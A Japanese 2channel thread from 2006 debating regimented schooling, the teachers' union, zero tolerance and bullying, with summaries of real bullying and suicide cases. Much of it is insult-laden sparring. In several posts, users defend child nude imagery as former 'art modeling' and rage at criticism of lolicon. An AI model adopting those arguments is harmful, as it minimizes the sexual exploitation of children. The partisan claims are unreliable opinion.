476 :名無しさんの主張:2006/10/15(日) 18:50:42
>>475 ロボットと言うのは極端だが
確かに過去の日本の社会状況ならそれでも良かったのかも。
勿論、個性的な考え、素養を持った子供には
とても窮屈で、意味を成さない教育であったには違いないが
大抵の子供たちは成人し、日本独特の集団社会の一員になり
その中で安住することができた。
しかし現代の日本では
終身雇用、年功序列など過去の日本のシステムが崩れ、
集団社会が排除してきた個性的で、自立心の強い人間が
逆に必要とされる時代になった。
しかし、その社会をどのように構築していいのか
現代の日本の大人はまだ分らない。
今まで経験したことの無いことなので・・
そこで過去に答えを見つけよう、頼ろうとするのが
典型的な日本人の思考だと思う。
昔の管理教育を今の子供たちに当てはめても
この子達が社会に出たときに社会の受け皿が
きちんと用意されていなければ意味無いよね。
しかもそのときに
「今の若者は個性が無い、自立心が無い、使いモンにならん」
なんて無責任な声が出ることも予想できるしね。



477 :名無しさんの主張:2006/10/15(日) 19:47:02
>>476
>「今の若者は個性が無い、自立心が無い、使いモンにならん」

90年代に管理教育が見直されたそもそものきっかけも
言われたことはできるが、主体的に判断し、行動できない
「指示待ち族」といわれる若者をいたずらに量産しているのではないか、という
実業界からの批判がかねてから寄せられていたから。

「神戸の校門圧死事件」以降ブサヨに付け上がる口実を与えてしまったから、というのは
半分正しく、半分まちがい。


478 :名無しさんの主張:2006/10/15(日) 19:50:37
須賀川市立第一中学 柔道部リンチ事件 まとめ

・救急車呼ばなかった→ この時呼んでいれば助かったかもしれない。
 母親を呼びつけ、意識不明の被害者を見せてから、やっと救急車(顧問等不在)
・保護者説明会で「被害者は前から脳に病気があったので〜」→ 加害者母とグルで捏造。鬼畜か?
・見舞いに来てほしい、という母親の要請ガン無視→ もみ消す気まんまんだったようです。
・マスゴミにリークされたとたん、学校おおあわて→ もみ消す気まんまry
・「イジメはなかった」と言い張る学校側→ ありました。
・事後報告書に母親の談話「学校側に責任ない。申し訳ない」→ 言ってません。
・部長が“集中攻撃”と称するリンチを行っていた。→ どうみてもイジメです。
・泣いて逃げる被害者に加えられたリンチの内容→ 死ぬと予見できるくらい酷い。
・部員の「イジメあった」の証言に、教頭恫喝。→ ・・・
・加害者母、保護者説明会で「見舞い行ってます」と号泣。→ 行ってない事を指摘されると「すみませんね」と開き直る。
・他にも頭部強打で記憶障害を起した部員が→ 恒常的に・・・。
・被害者は以前にもしごきで怪我をさせられ入院していた事がある→ 退院直後にまた・・・。
・加害者を告訴しようとしたが、14歳なので無理。顧問と学校にシフト→ ・・・しょうがない。
・いまだ正式謝罪なし。→・・・。

支援まとめサイト
http://www.suka-gawa.com/
事件まとめサイト
http://matome200x.web.fc2.com/
http://www5d.biglobe.ne.jp/~yuribeya/sukagawa.htm


479 :名無しさんの主張:2006/10/15(日) 19:52:31
須賀川市立第一中学のやったこと

・柔道部の副顧問から連絡をもらって母親がかけつけた時点で学校側は119番通報をしなかった。
 母親が到着して後に通報。
・A子さんが倒れてから10数分後に救急隊員が到着したとき、教師は誰も立ち会っていなかった。
・生徒たちの間でさまざまな噂が飛び交い、学校側は「事故のことは口外するな」と口止め。
・校長は、3ヶ月もの間、総会を開くことなく事件を隠し、今頃開催したことについて問い詰められると弁明。
 事件から3ヶ月の間に開かれた職員会議は、打ち合わせという形で1回教職員に報告しだだけで、議事録もなかった。
・新聞記者が校長に「イジメがあったのではないか」と取材。
 校長は、「先輩が後輩に気合を入れた。運動部にはよくあることだ」「それが事故原因との証拠でもあるのか」と回答。
・その後も、学校から正式な謝罪はない。

ワイドショーもこの件を取り上げた。

須賀川市立第一中学柔道部事件 1of3
ttp://www.youtube.com/watch?v=VMlFBGyFQBw&mode=related&search=
須賀川市立第一中学柔道部事件 2of3
ttp://www.youtube.com/watch?v=u4gXaqi0z2o&mode=related&search=
須賀川市立第一中学柔道部事件 3of3
http://www.youtube.com/watch?v=3iog4gN7aOM&mode=related&search=

地方ニュース(校長顔出しあり)
http://www.youtube.com/watch?v=E3ZMEUlZ4Wc

480 :名無しさんの主張:2006/10/15(日) 20:29:03
いわゆる管理教育傾向が強い学校ほどいじめ問題が深刻だって昔からよく言われるよね。

481 :名無しさんの主張:2006/10/15(日) 21:35:23
「担任がいじめ誘発」 学校側、両親に謝罪
 福岡県筑前町で、町立三輪中学校2年の男子生徒(13)がいじめを苦に自殺した問題で、
学校側は15日、「1年生時の担任にいじめを誘発する言動があった」として、生徒の両親
に謝罪した。
 両親は「教師が率先していじめていたとすれば、絶対に許すことができない。すべての真
実が知りたい」と、さらなる調査と報告を求めた。
 父親(40)によると、1年生の時に男子生徒が自宅で見ていたインターネットの内容に
ついて両親が担任に相談したところ、担任は後日、相談内容を同級生に暴露し、クラスで男
子生徒に不本意なあだ名が付けられた。担任は級友の前で男子生徒を「偽善者」「うそつき」
とからかったりもした。
 担任は、クラスの生徒それぞれをイチゴの品種に例え「(高価な)あまおう」「出荷でき
ない」とランク付けして呼んだりしたこともあったという。
 担任は両親に謝罪した際、一連の言動があったことを認め、自らの行為の結果、男子生徒
と級友の関係がぎこちなくなっていったことを「自覚していた」と話した。
 男子生徒の衣服のポケットや自殺した自宅倉庫の床、かばんの中などからは4種類の遺書
が見つかった。
 学校からの連絡を家庭に伝える紙の裏に「いじめられて、もういきていけない」、画用紙
に「生まれかわったらディープインパクト(競走馬)の子供で最強になりたい」、級友のス
ケッチブックからちぎった紙に「お金はすべて学校に寄付します。さよなら。いじめが原因
です。いたって本気です」、理科ノートの隅には「僕が死んだら、僕の貯金は学級にあげま
す」などと書かれていた。
 父親は「(記述から類推すると)金銭を要求されるような行為もあったのではないか。学
校は全部を調べ、明らかにしてほしい」と話している。
http://flash24.kyodo.co.jp/?MID=RANDOM&PG=STORY&NGID=main&NWID=2006101501000492

482 :名無しさんの主張:2006/10/15(日) 21:55:50
>>428
罪が重すぎるため逆に蔓延している、というのは科学的にナンセンス
な話。
そして、未成年の権利がどうのというリベラルな教育が失敗した。
ルールを悪とみなすリベラル教育、日教組教育は失敗する、そのことは
大脳生理学の観点からも言えるし、IQと社会性の研究からも裏付けられる。
行動科学の観点からもそう言えるし、そのことがアメリカで実証されている
、だから日教組教育は改善されなければいけないと言ってるんだ。
だれもアメリカのゼロトレランスを導入しろなどと一言も言っておらん。
ルールの遵守を徹底しろと言ってるだけだ。
だいたい、アメリカでロッカーの検査などをするのは、銃を持ち込んで
いる可能性だってあるからで、日本ではそんな心配はない。
せいぜいナイフくらいで、それなら普通においてあるカッターと変わらない。
だからそんなことをする必要は日本においてはない。

483 :名無しさんの主張:2006/10/15(日) 21:57:19
ロリコンはなぜ規制されるのか。
なぜロリコン=悪という社会通念が生まれるのか。
それは、ロリコンが深層心理学の上で、性倒錯の一種だからという
ことがあるでしょう。
また、その説に対する反証が難しい、ということがあるでしょう。
こういった、ロリコン=性倒錯、というイメージが、悪とみなされる
大きな原因かもしれない。
また、一般論として、過去にポルノ出演経験があるとバレた時には
メリットよりデメリットの方が大きい。
そういった判断ができず責任能力のない子供を裸にして、商売の道具
にする、しかも性倒錯者を喜ばせるため、ということであるなら、
ロリコン=悪、という社会通念が生じるのもやむをえないといえる。
深層心理学のコンプレックス論が厳密な意味で正しいか正しくないか
はこの場合大きな問題じゃない。
多くの人が異常と感じ、その上で性倒錯かもしれないとなればその
ような社会通念が生じるのは不自然とは言えず、よって突拍子もない
ことが社会通念になっているとは言えない、ということ。
また、海外の例は知らないが、そのような国では、ロリコンものの販売
と幼児対象にした犯罪との因果関係を示すデータがあって、それに基づいて
判断している、という可能性もある。

484 :名無しさんの主張:2006/10/15(日) 21:58:56
日本の場合、規制をかけたり緩和したりするのは、だいたいが外圧の結果だ。
そして、外圧を受けて規制を迫られたとき、それをはねつけたときの
メリットデメリットを考える。
はねつけて国際的イメージを低下させたり外交的な摩擦を起こしたりして
みかえりとしてあるメリットは、性倒錯者の満足だけであり、国際的なイメージ
や外交的な摩擦はいずれ国民全体にかかってくる、という判断があったのかも
しれない。
魔女狩りの話にかえって言うと、このようなオカルトは科学的に反証する
ことが可能だ。
もちろん、神はいるか、とか、霊魂はあるか、などの問題は別で非在証明は
できない。
だけど、この人間のこの力は超常能力か否か、魔法か否か、というような
検証は可能なので、当然、誰々は魔女だ、などの言説が大きなものになって
いくと、有効な反論が相次ぐことになる。
宗教権力に逆らうことができなかった中世ヨーロッパとは違う。
だから、そのようなことが社会通念になるというのはまずあり得ない話だ。

485 :名無しさんの主張:2006/10/15(日) 22:09:31
325 :名無しさんの主張 :2006/10/15(日) 06:11:19
>>322
てめえいい加減にしろ
余計な社会ルールを極力排除しろと言ってるんだ
余計な社会ルールを厳守する意味は無い
お前もう一生このスレjに来るな
お前どこまでおれを怒らせたら気が済むんだ駆使野郎

329 :名無しさんの主張 :2006/10/15(日) 06:15:01
余計かどうかも主観によって変わってくると説明もしたが?
余計だと感じることでもそれを遵守することでルールを守れる
人間になるという意味で無意味ではないが、日本の学校に無意味
なルールを設けろなどとは一言もいっとらん。


330 :名無しさんの主張 :2006/10/15(日) 06:16:10
繰り返しになるが、ルールを厳守させろと言ってるんだ。


332 :名無しさんの主張 :2006/10/15(日) 06:17:08
>>330
余計なルールは厳守する必要なし
個人の尊厳を奪うルールは全部死ね


335 :名無しさんの主張 :2006/10/15(日) 06:18:15
社会という馬鹿の判断で有益かどうか考えて好き勝手にやらせても個人の尊厳は
守られないんだよ。


486 :名無しさんの主張:2006/10/15(日) 22:10:28
337 :名無しさんの主張 :2006/10/15(日) 06:36:42
>>335
社会という馬鹿、って何だ?
政治家なら民主的手続きを経て選ばれた者、学校の校長なら
最高責任者だろう。
それらが社会にとって、公共にとって必要、あるいはそれらを守る
能力を養う上で必要だと決めたことなら守らなければならないのは
当然だ。
自分が不要だと思うルールなら守らなくていい、なんて考え方が
通じるはずはない。
そもそも、公共に迷惑をかけるような個人の権利って何だ?
自分の勝手な思惑で他者のことを考えないのをジコチューという。
これはテロリストと同じ独善だね。



487 :名無しさんの主張:2006/10/15(日) 22:11:02
338 :名無しさんの主張 :2006/10/15(日) 06:39:41
ああキモイキモイ
社会がそんなに偉いならお前は一生社会のポチになって
社会が 「お前水をストローで飲まずコップで飲んだから死ね」 って言ったらそれで一生を終えろ
社会が 「お前、俺の靴を舐めた後3回回ってコケコッコーしろ」 って言われたらそのとおりにやれ
消えろ二度と来るな>>334
気持ち悪いんだよ社会の奴隷は
おえっ吐き気がする

>>337
>自分が不要だと思うルールなら守らなくていい、なんて考え方が
>通じるはずはない。
曲解乙

>そもそも、公共に迷惑をかけるような個人の権利って何だ?
うわぁまた妄想してるよコイツ
頭大丈夫かな
誰が公共に迷惑かけると言った?
そもそも公共自体迷惑なんだよ猿

488 :名無しさんの主張:2006/10/15(日) 22:12:37
340 :名無しさんの主張 :2006/10/15(日) 06:41:08
>>338
理不尽なルールは守る必要がないんだろ?
理不尽と判断するのは君だろ?
だったら、公共に必要だと作ったものが考えていても、君が理不尽
だと考えれば破っていいんだろ?


341 :名無しさんの主張 :2006/10/15(日) 06:47:06
>>340
なんで個人が理不尽だと結論が出たのがダメで
社会が理不尽だと結論が出たものはいいんだよバーかバーカバーカ
明らかになんの意味も無く害しかないようなものでもてめーは受け入れるんだな猿みてえによー
バーカ

じゃあお前は人殺しが社会で義務付けられてもお前は人殺しが出来る鬼畜なんだな
うわ最低だなお前
茶髪してる奴に出会ったら100万円あげると社会で義務付けられるんなら理不尽でもこれら全部受け入れろよてめえ
もし社会で本を読むなと義務付けられてるんならもし社会で背kk数巣乱ラン義務づえkらsれってmwえ
やーいやーいばーかばーかうんこうんこうんこ


489 :名無しさんの主張:2006/10/15(日) 22:13:29
343 :名無しさんの主張 :2006/10/15(日) 06:48:39
>>341
つまり、理不尽かどうか、個々の判断でルールは守ったり守ら
なかったりしていい、ということだね?


344 :名無しさんの主張 :2006/10/15(日) 06:52:04
>>343
てめー反論できねーでやんの
ばーかざまーみろ猿
お前は人殺しが社会で義務付けられてもお前は人殺しが出来る鬼畜と考えていいわけだな
茶髪してる奴に出会ったら100万円あげるルールも社会で本を読むな令も全部守るポチだなてめえは
社会が 「お前水をストローで飲まずコップで飲んだから死ね」 って言ったらそれで一生を終えんだなお前
社会が 「お前、俺の靴を舐めた後3回回ってコケコッコーしろ」 って言われたらそのとおりにやんだなてめえはよおおおお!!!
そうなんだな?てめえはそういう鬼畜なんだな?そういうポチあんだなコラ?」


490 :名無しさんの主張:2006/10/15(日) 22:14:09
345 :名無しさんの主張 :2006/10/15(日) 06:53:09
>>344
はぐらかさないように。
つまり、理不尽かどうか、個々の判断でルールは守ったり守ら
なかったりしていい、ということだね?


356 :名無しさんの主張 :2006/10/15(日) 07:02:56
>>353
だからやめなさいってw

つまり、理不尽かどうか、個々の判断でルールは守ったり守ら
なかったりしていい、ということだね?

イエス?ノー?


357 :名無しさんの主張 :2006/10/15(日) 07:03:58
人殺ししないと悪影響があるから社会で民主主義の名の下に義務付けられ
茶髪してる奴に出会ったら100万円あげないと悪影響があるかもしれないからそれルール
水をストローで飲まずコップで飲むと悪影響が(ry
俺の靴を舐めた後3回回ってコケコッコーしねえと悪影(ry


うはwwwwwwwwwwwwwwwwwww

491 :名無しさんの主張:2006/10/15(日) 22:18:10
332 :名無しさんの主張 :2006/10/15(日) 06:17:08
>>330
余計なルールは厳守する必要なし
個人の尊厳を奪うルールは全部死ね


335 :名無しさんの主張 :2006/10/15(日) 06:18:15
社会という馬鹿の判断で有益かどうか考えて好き勝手にやらせても個人の尊厳は
守られないんだよ。



492 :名無しさんの主張:2006/10/16(月) 10:15:59
日本は偉大なる先人から学べ!
日本が日本らしくなるし、お手本だからだ。
伝統と文化を大切にする趣旨の愛国教育は、   重   要

493 :名無しさんの主張:2006/10/16(月) 12:22:01
つまり日本はまたやるぞ!ってことだね。零戦に大和に。

494 :名無しさんの主張:2006/10/16(月) 12:33:15
そう捉える人ってパターンだなw

495 :名無しさんの主張:2006/10/16(月) 17:06:07 ID:???
>>482
反論になってない

>>483
反論になってない

496 :名無しさんの主張:2006/10/16(月) 17:07:45 ID:???
>>484
はいバカの見本

497 :名無しさんの主張:2006/10/16(月) 17:10:16 ID:???
>>482>>483>>484
消えろゴミ

498 :名無しさんの主張:2006/10/16(月) 17:13:55 ID:???
>>483

許せない…絶対に許せない
絶対に許せない
お前最低だ
ロリコンを侮辱しやがった
絶対に許せない

499 :名無しさんの主張:2006/10/16(月) 17:22:23 ID:698rs3Gq
>>483-484のアホさ加減にワロタwww

500 :名無しさんの主張:2006/10/16(月) 17:38:32 ID:???
「大衆(大多数の考えていること)は常に間違いを含んでいる」

501 :名無しさんの主張:2006/10/16(月) 17:39:08 ID:tzJdaTDd
>>483
特定の性向を「倒錯」と呼ぶことの是非が問われるべきじゃないか?
と思う。かつて当り前だった身分差別や障害者いじめが今では批
判の対象になっているのと同じ。

502 :名無しさんの主張:2006/10/16(月) 17:52:37 ID:???
許さんぞ絶対に許さん絶対に許さない>>483
絶対に許さんぞ>>483
許せない絶対に許さない

503 :名無しさんの主張:2006/10/16(月) 17:56:35 ID:???
>>482
日教組?>>428のどこから日教組が出てきたんだ
頭おかしいんじゃないのかお前
どこから日教組が出てきたんだ?馬鹿なのかお前?

>罪が重すぎるため逆に蔓延している、というのは科学的にナンセンス
全然ナンセンスじゃありません

504 :名無しさんの主張:2006/10/16(月) 17:59:00 ID:???
はい論破完了

505 :名無しさんの主張:2006/10/16(月) 18:29:43 ID:???
475:名無しさん@6周年 :2006/09/27(水) 18:55:49 ID:nEBjuJEkO
民主主義=衆愚政治になりつつある。
もはや、ニュー速なんて猿みたいな感情論を、事実より重視する糞板。
「こういう犯罪が多発してる」とか「物騒になった」とか、
全部マスコミのコピー発言、自分の意見のない猿共。
このネット社会じゃ事実のソースを引っ張ってくるのも簡単だし、
少し調べりゃマスコミの偏向報道もわかるのに、
例えば、ロリコン犯罪が増えていると思い込んでる者や、
他人による子殺しが多発してると信じ込んでる者に、
ロリコン犯罪の低下、
他人による殺人より親による子殺しが多いという事実を提示したところで、
スレの流れが変わったためしはない。
子どもを守れとか言いながら、こいつらの優先順位は、
自分の感情>親>>>>>子供。
そうこうしてる間に虐待は統計とり始めてから最悪になってしまった。
こうした傾向はあらゆるニュー速のスレに見られる。
事実より感情を優先するならネットを使う意味なし、
おばちゃんの世間話がネットに広がっただけ。
一生マスコミに騙されてろよ、もはや司法も国民も存在価値はない、
政治も裁判もマスコミが決めて、衆愚は命令に従うだけなのだから。

506 :名無しさんの主張:2006/10/16(月) 18:35:42 ID:PPReHOSm
国の大患 
これを治す措置。 正常になるだけ。
何が悪い?

507 :名無しさんの主張:2006/10/16(月) 18:50:17 ID:???
お前の言う「措置」が、悪だから
お前の言う「正常」が、糞だから
お前の言う「大患」が、夢だから

508 :名無しさんの主張:2006/10/16(月) 20:43:48 ID:c0aPr5PP
sageが急に増えたなw

509 :名無しさんの主張:2006/10/16(月) 20:47:03 ID:???
508 名前: 名無しさんの主張 投稿日: 2006/10/16(月) 20:43:48 ID:c0aPr5PP
sageが急に増えたなw

510 :名無しさんの主張:2006/10/16(月) 22:24:56 ID:???
私情つうしん 第8号 1996年9月発行 定本:内国子女教育の歴史
第3章 戦後日本教育の展開 §2 ノーミン・ムーミンの教育文化
文・古家 淳 挿絵・本多さつき(多忙のため、お休み)

 ノーミン・フーミンの学校では、何よりも「和の倫理」が尊重された。もしも仮にだれか
一人がグループの規範に反する行動をしたとすれば、その責任はその個人にではなく、
グループ全体にあるとされた。もしもだれかが居眠りをしたとすれば、それはそういう
雰囲気をつくったグループの責任なのである。
 こうしたグループでの生活に関するトレーニングは、早くも幼児の段階から始められた。
おしっこを漏らしてしまった子が1人でもいれば、「班」と呼ばれる6人ぐらいが全員罰せられる。
それならばいっそ、全員が一斉に漏らしてしまえばいいではないかと考えられるが、まさに
その通りである。その結果、中学生にもなれば1人だけではトイレにも行けないのがノーミンの
子どもであった。この傾向はとくに女子に強く、みんながトイレに行くときにいっしょに
行かないだけで、あるいは逆にたった1人でトイレに行っただけで、グループを構成する他の
メンバーから迫害される十分な理由になった。これは成人男性にも見られた習慣で、この場合は
たとえば酔っぱらった中年男性の集団が公共の場で一斉に放尿する「連れション」なる儀式
として見ることができる。

511 :名無しさんの主張:2006/10/16(月) 22:27:58 ID:???
私情つうしん 第8号 1996年9月発行 定本:内国子女教育の歴史

 学校教育における集団主義は、子供の発達に応じて、年齢が高くなるほど集団が大きくなる
中で育てられた。幼稚園では1つのクラスがせいぜい20〜30人であったものが、小学校になると
30〜40人、高校にもなると50人という集団も珍しくない。大学レベルになるとさらに顕著に
なり、1人の講師が900人を相手に講義することも珍しくなかった。もっともそういう集団の中で
行われる教育自体も、もちろん「和の倫理」に基づいているから、教師自身、創意工夫の余地は
ほとんどない。詳細で厳密に定められたマニュアル通りに、内容も方法も一事が万事画一的な
授業を行うのがよしとされた。何しろ、日本全国どこにいても、どの学校に行っても、また
どの教師に出会っても、同じ内容と水準の教育を受けられることが理想とされていたのである。
マニュアルから逸脱することなど誰にも想像すらできなかったに違いないが、万一間違って
マニュアルを一行読み飛ばしてしまったりすれば、あるいはその解釈を誤ったりすれば、叱責は
免れ得なかった。もちろん勤勉の悪弊に染まった日本人達のことであるから、教師も研究熱心
ではあった。マニュアルの要求することは一体何か、どのようにすればより忠実に従うことが
できるかが日夜研究され、どんな成果も翌日から日本全国の教師が実践できるというのが
尊ばれた。大学においても同様で、よい講師というものは百年一日のごとく、毎年一字一句
異ならない講義を行い、どんな学生からも同じ反応を引き出せるのが特長とされていた。
 海外に出たユーミン・フーミンの日本人達がエンターテインメント業界の貪欲な商業主義の
中で究極の多チャンネル化を目指したのと逆に、国内に残ったノーミン・ムーミンの教育は、
こうして究極の画一化を目指していたのである。

http://www.roots-int.com/S-T/8/naikoku.html


512 :名無しさんの主張:2006/10/17(火) 04:11:36 ID:IXj9M6+v
>>495
失敗の実例がある、ということを指摘してるんだから、これが反論にならな
ければ、誰も君を納得させることなど不可能だということになる。

>>501
それを倒錯と言っていいのかどうか、深層心理学の知見は正しいのか
否かはわかりません。
ただ言えるのは、深層心理学のようなものは反証するのが難しい。
だから俗説として流れやすいし、正しいか正しくないかはっきりせず、科学的
に反証されているのも目にしていなければ、その説をもとにして社会通念
が形成されたとしても、突飛な、トンデモない話が社会通念になったとまで
はいえないのじゃないか、と。

>>503
お前こそ頭おかしいのか?
最初から日教組批判をしてるんじゃないか。
文章読んでる?
それに「全然ナンセンスじゃありません」じゃ、反論になってないよ?
どこの国でも、重い犯罪に重い刑罰を課しているのは、それだけ抑止力が
増すと考えてるから。
だいたい、罪が重すぎるために逆に蔓延するなんて珍説、どっからの出て
きたのか教えてほしい。

513 :名無しさんの主張:2006/10/17(火) 04:18:20 ID:IXj9M6+v
少しだけ過去の日教組批判や左翼教師批判をあげておこう。

114 :名無しさんの主張 :2006/10/15(日) 02:22:02
>>113
たしかにわかりやすいように、極端な例を出したが、この延長線上
にあるような教師が多かった。
なんせ日教組の加入率は100%だったんだから。

115 :名無しさんの主張 :2006/10/15(日) 02:23:39
今でもたとえば、自衛官や警察官を「権力の犬」と罵り、それらを父
にもつ生徒を虐めるような日教組系の教師、また日教組に加入していな
い教師への虐めも実際あるらしい。

514 :名無しさんの主張:2006/10/17(火) 04:19:12 ID:IXj9M6+v
99 :名無しさんの主張 :2006/10/15(日) 01:23:29
極端になるが、左翼教育の象徴として。

小林秀雄は「考えるヒント」(新潮社)で某中学教師の手記にある次のような事件
を紹介している。
クラス討議の時間、先生が議題の「教室であばれないやうに」について、「教室
で、あばれては、何故いけないのか」と生徒に問う。
生徒は「教室は勉強するところだからです」「あばれたければ、校庭に出れば、よい」
と答える。 (以下略)

106 :名無しさんの主張 :2006/10/15(日) 02:07:24
>>103
たしかに親の責任は大きいんだけど、日教組教育を続ければ
学級崩壊のようなものが起こるのは必然で、だからこそはるか
以前から、このような状況になるだろう、というのは保守系の知識
人も予言していた。 (以下略)

515 :名無しさんの主張:2006/10/17(火) 04:21:20 ID:IXj9M6+v
前スレから一貫して日教組教育、左翼教育を批判し続けてる。
文章をそもそも読んでないのかね?

516 :名無しさんの主張:2006/10/17(火) 05:16:37 ID:IXj9M6+v
>>472
日本レベルの話というのはどういう意味?
アメリカでは犯罪が減少しただけではなく、秩序も回復した。
日本はゼロトレランスをやってないけど、アメリカが失敗したリベラル
教育の成果が今出てる。

517 :名無しさんの主張:2006/10/17(火) 22:46:16 ID:???
karan on everything  いじめOctober 25th, 2005 1

 最近、日本の学校ではいじめということが問題になってきました。まず、「いじめ」という
のは何ですか。いじめの意味は「弱いものを苦(くる)しめること」ということです。いじめは
日本の学校で1970年代に校内暴力から起きました。1980年代に少しずつ減ってきたけれど、
1990年代にまたしっかり深刻な問題に発展しまいました。そして、いじめと関する教育問題
「登校拒否」もあります。そして、1980年から1000人以上いじめられた子どもは自殺しまいました。
また、世界中にいじめ問題があります。しかし、いじめはどうして日本で一般的なことに
なってきているのでしょうか。

 1996年には「いじめ問題国際シンポジウム」が開かれました。シンポジウムの前に日本で
いじめについて、一万人の学生に調査が行われました。その調査によると、いじめのケースは
70%以上も「いじめをする学生はいじめられる学生の友達やクラスメート」のことがあります。
ジェイ・ブリッジ(B) によると、そのことの理由は、日本で高校進学率が90%を超えたし、
競争が大変し、「子供たちのフラストレーションが暴力に変わるのは当然」からです。

 そして、いじめられた子どもは教師にいじめのことを言わないそうです。シンポジウムの
調査によると、子供たちは「先生は何もできないから」と思って教師と相談しません。また、
教師と相談したら、いじめはもっと苦しくなります。教師たちは何かできるなら、その態度が
なくなるはずだと思います。

 私はその色々なこと以外に、いじめの問題は国民性に関係があると思っています。どこでも、
子供たちは大人から社会に生きる方法を習います。そこで、その方法の中に「いじめ」という
ことがないと思いますが、日本の場合、国民性にいじめが発展できることがあるかも知りません。
つまり、いじめ問題は国民性から起きただろうというわけです。原因は二つあると思います。


518 :名無しさんの主張:2006/10/17(火) 22:49:01 ID:6HB0eLe8
karan on everything  いじめOctober 25th, 2005 2

 ひとつめ、日本人は上下関係を大切にしているが、その上下に問題が生まれているそうです。
たとえば、先輩後輩の関係でいじめは簡単にできるでしょう。その現象は自動的続けています。
理由は、いじめられた子どもは先輩になると、「私の順番ではないでしょか」と思っているからです。
また、その上下問題は教育だけ問題ではなくて、社会問題というわけでしょう。そこで、
その考え方が続ければ、いじめを止めるわけにはいけません。「上下関係を落とす」という
わけではないですが、もっと気をつけて関係の価値にとって、上の方も下の方も、尊敬
した方がいいと思います。

 ふたつめ、日本の国民性の一番強いのは集団主義的です。いじめっ子は大体何か違いが
ある子供です(C)。集団主義的な社会に、自信は回りの人からもらいますので、友達や
クラスメートがいじめされば、自信を持った方がないでしょう。その理由をとって、「希望がない」と
思って、13歳や14歳いじめられた子供たちは自殺してしまいます。個人主義的な社会だったら、
自分で自信を持って、戦う気をとっていきます。本当に悔しい違いではないでしょうか。

 もちろん、いじめは日本だけの社会問題わけではありません。国々によっていじめ率は
違いますが、必ずいじめがあるそうです。そして、1993年から日本政府もいじめ問題を
抱えてきています。しかし、いじめはまだ深刻な問題で、登校拒否から「ひきこもり」ということが
起きています。その色々な社会問題に対しなければなりません、未来の子供たちのために。

作文:1380字 カラン・ジュネジャ
http://karanj.wordpress.com/2005/10/

519 :名無しさんの主張:2006/10/17(火) 23:06:45 ID:WLPLwC5x
ゼロトレランスのモデルになった管理教育で知られる愛知県は、
日教組王国でもあるのだが。(特に、小中学校)


520 :テレビ局各社は現在も盗聴中:2006/10/17(火) 23:09:54 ID:b5wcEGDB
方法論の問題じゃなくて、日教組を始めとして
この世界に癌が沢山いることが問題だろ
日教組なんて何をやらせても成功しないよ

521 :名無しさんの主張:2006/10/18(水) 02:54:59 ID:5CufOUFT
>>519
愛知県って、このようなことが行われてたという学校?

 頭髪については,天然パーマで色素のせいで茶髪でもあった女子生徒を
 理由も聞かずに忌避して,教師たちがこづきまわして,自殺に追い込んだと
 いう噂もある。

アメリカはここをモデルにしたんですか?

522 :名無しさんの主張:2006/10/18(水) 02:57:37 ID:5CufOUFT
>>521
愛知県と言っても、学校は数あるだろうし、学校によって日教組
の加入率も違うと思うんだけど。

523 :名無しさんの主張:2006/10/18(水) 16:54:44 ID:2hX/DGFO
ゆとり教育を批判している人に聞きたいんだが
今詰め込み教育を受けた40〜60歳くらいの人が社会で重要な役についているのに
実際の社会情勢は良くないことを考えると詰め込み教育も
それほど良かったとは言えないんじゃないの?

524 :名無しさんの主張:2006/10/18(水) 20:49:40 ID:MKmVVSoJ
>>523
ゆとり教育で育った人間が重要な地位についたら、今よりもっと
ひどいことになると思うよ。

525 :名無しさんの主張:2006/10/18(水) 21:14:20 ID:???
>宗教権力に逆らうことができなかった中世ヨーロッパとは違う。
>だから、そのようなことが社会通念になるというのはまずあり得ない話だ。

この認識は誤りだ。
仮に大多数の人間が正しい論理的思考ができるとしたら、
なぜ、そのような宗教権力機構ができたと思う?
答えは簡単、大衆は愚かであるからだ。
これが民衆主義の限界、衆愚政治だよ。
民衆主義は極論を言えば多数決だが、大多数の意見=論理的とは限らない。
ナチスを指示したのも当時の大衆であるし、軍国主義にかぶれていた頃の日本でも、
大衆は日本が正しいと信じていただろう。
キリストが人類は平等だというのに反対した当時の価値観では、
大衆にとって階級社会は当たり前であったし、
ガリレオが観測事実を例示し、ニュートンが万有引力を主張し、
アインシュタインが相対性理論を発表した時も、
論理的正しさよりも当時一般に根付いていた価値観が優先され、
彼らは非難された。
だが結局はガリレオやニュートンやアインシュタインらは正しかった。
ネットと言えども、衆愚が入ってくれば>>366にあるように、
既存の信じたい価値観を正しいとする場にしかなり得ない。

526 :名無しさんの主張:2006/10/18(水) 21:15:22 ID:???
>また、一般論として、過去にポルノ出演経験があるとバレた時には
>メリットよりデメリットの方が大きい。

ところであなたは、
これが宗教権力によって作られた価値観であることをご存知ないようだ。
この時点ですでに、あなたや大衆は論理的判断をできていないのである。
古代バビロニアでは売春婦は聖なる存在であり、
癒やしを与える者として皆から尊敬され、女性にも最も人気のある職業だった。
しかし男性神を主神とする某宗教の父性社会では、
セックスで女性に優位に立たれるのは忌むべきことだったのだ。

ポルノ出演がバレただけでは傷つくことはない、
そこに偏見と差別が入って初めて傷つけられる。
>>143
>>245
のような疑問を問うた上での性教育をしてこそ、論理的と言えるだろう。

527 :名無しさんの主張:2006/10/18(水) 21:17:09 ID:6cVGXjab
>>512
反論になってない
こちらは最初から日教組の話なんかしていません
うわー恥ずかしいなコイツ・・・

528 :名無しさんの主張:2006/10/18(水) 21:19:57 ID:???
>それに「全然ナンセンスじゃありません」じゃ、反論になってないよ?
なってます
お前の主張がおかしいだけ

529 :名無しさんの主張:2006/10/18(水) 21:24:01 ID:???
ID:IXj9M6+vは厨房

530 :名無しさんの主張:2006/10/18(水) 21:28:22 ID:???
> また、一般論として、過去にポルノ出演経験があるとバレた時には
> メリットよりデメリットの方が大きい。

だから、それを「ポルノ」にしてしまったのは規制法でしょ?
それまでは服飾モデルや子役俳優と同じように、芸術モデルとして見られていたし、
恥ずかしいもの、いやらしいものとは考えられていなかった。
規制法が単なるヌードまで「ポルノ」と定義したから、それが変わってしまった。
罪深いのはどっちだ?

531 :名無しさんの主張:2006/10/18(水) 21:30:04 ID:???
社会生活に問題が出てくるほどのもんじゃなければ、医学的には性倒錯とはみなされないけどな。
だいたい、性倒錯だから悪だとか言い始めたら、痴漢や覗きはともかくとして、サディズム・マゾヒズム、
スカトロ、フェティシズム全般、全て悪ってことになってしまうぞ。


>判断ができず責任能力のない子供を裸にして、商売の道具
>にする、しかも性倒錯者を喜ばせるため、ということであるなら、

と言っているが、では現状当たり前に行われている、
『判断ができず責任能力のない子供を水着姿にして、性倒錯者を喜ばせる商売の道具にする行為』
はどうなるのか。そもそも、親の意向で子供を芸能界入りさせること自体に問題はないのか。

